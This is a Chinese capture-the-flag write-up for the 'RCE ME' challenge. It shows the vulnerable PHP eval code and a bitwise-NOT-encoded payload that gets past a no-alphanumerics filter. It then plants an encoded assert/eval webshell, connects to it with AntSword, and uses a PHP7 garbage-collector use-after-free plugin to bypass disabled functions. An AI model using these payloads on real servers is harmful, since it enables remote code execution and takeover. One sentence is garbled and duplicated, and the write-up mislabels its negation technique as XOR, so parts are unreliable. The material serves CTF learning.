[极客大挑战 2019]RCE ME
1.源码审计
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
2.可以看到,我们必须通过绕过preg_match来绕过执行eval函数。这里涉及到的知识点就是无字符数字的webshell
3.我选用的是异或型
构造payload=(~%8F%97%8F%96%91%99%90)();
4.成功运行。
5.写一句话木马,这里有一个注意的地方,经过我多次测试,发现取反后的一句话木马必须要php版本是7.0.x版本,其他版本都无法用蚁剑连接。题目的php版本也是7.0.X。
这里我有一个疑问,为什么assert(eval( P O S T [ c m d ] ) ) ; 取 反 后 可 以 连 接 , 但 是 e v a l ( e v a l ( _POST[cmd]));取反后可以连接,但是eval(eval( POST[cmd]));取反后可以连接,但是eval(eval(_POST[cmd]));不取反可以连接,但是取反就无法连接。有大佬知道的麻烦评论一下。
payload = assert(eval($_POST[cmd]));
assert -- ~ %9E%8C%8C%9A%8D%8B
eval($_POST[cmd]) -- (~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6)
取反后
payload=(~ %9E%8C%8C%9A%8D%8B)((~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6));
6.蚁剑连接以后发现无法打开文件readflag文件,应该是不允许执行系统命令
7、利用蚁剑的disable_function插件
8.选择PHP7_GC_UAF模式, 拿到了flag